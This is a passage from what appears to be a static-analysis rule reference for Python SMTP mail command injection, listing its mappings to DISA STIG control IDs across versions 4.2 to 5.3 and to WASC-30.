[50] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002510 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Mail Command Injection (WASC-30)
desc.dataflow.python.mail_command_injection_smtp